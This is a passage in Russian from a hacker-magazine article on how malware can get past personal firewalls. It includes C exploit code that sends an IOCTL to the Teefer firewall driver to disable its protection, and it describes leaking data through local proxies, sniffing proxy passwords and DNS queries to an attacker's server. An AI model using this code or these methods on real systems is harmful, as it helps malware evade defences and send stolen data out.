Полоса препятствий Крис Касперски Спецвыпуск: Хакер, номер #058, стр. 058-058-3 SendMessage(hHdrControl, HDM_GETITEMRECT, 1, (LPARAM)NON-WRITABLE_ADDR); На следующем шаге выполняется код, отключающий режим защиты от сбоев: DWORD ret; char buffer[8]; DWORD *ptr = (DWORD *)buffer; DWORD *ptr2 = (DWORD *)(buffer + 4); hDevice = CreateFile("\\\\.\\Teefer", GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE){ printf("Open failed\n"); return -1; } *ptr = 0; *ptr2 = 0; if (DeviceIoControl(hDevice, 0x212094, buffer, 8,buffer,8,&ret,0)) printf("Sent.\n"); CloseHandle(hDevice); Другие брандмауэры также имеют уязвимости, перечень которых можно найти на любом сайте по безопасности. Тем не менее, эти дыры не представляют какой-либо практической ценности, поскольку написать вирус, поддерживающий все типы брандмауэров, довольно затруднительно (а их количество с каждым годом все растет и растет). К тому же однажды обнаруженная дыра через некоторое время затыкается. Можно, конечно, зайти с другой стороны и объявить войну пакетным фильтрам: выгрузить драйверы мини-портов, отключить систему фильтрации или обратиться к tcpip.sys/NDIS напрямую, но... все это слишком сложно и непереносимо. То, что работает в NT, не сможет работать в 9x и наоборот. Наибольший интерес представляют универсальные методики, работающие на прикладном уровне и не требующие навыков системного программирования. Проблему с обратной петлей уже упомянули. Если на компьютере установлен proxy, через него может выходить кто угодно. В частности, HTTP-Proxy обычно висят на 80, 8080 или 8081 порту, поэтому их очень легко обнаружить. Правда, в некоторых случаях они защищены паролем и зловредному приложению приходится запускать снифер или устанавливать свой собственный пакетный фильтр и грабить локальный трафик на предмет поиска паролей. Если на компьютере нет никаких proxy, можно попробовать послать DNS-запрос на подконтрольный хакеру сервер (кстати, он может находиться и на динамическом IP). Практически все брандмауэры спокойно пропускают такие запросы, не выдавая никаких предостерегающих сообщений и не обращаясь к пользователю за подтверждением. Конкретный пример можно найти в утилите DNS-tester, исходный код которой лежит на глухом безымянном сайте www.klake.org/~jt/misc/dnstest.zip. А здесь расположен альтернативный вариант, использующий запрос DnsQuery: www.klake.org/~jt/misc/dnstester.zip. Такую атаку выдерживает только Zone Alarm и Jetico. Но, как гласит народная мудрость, на каждого Муромца найдется свой Змей-Горыныч. Ну, если не Змей, так червь точно :). |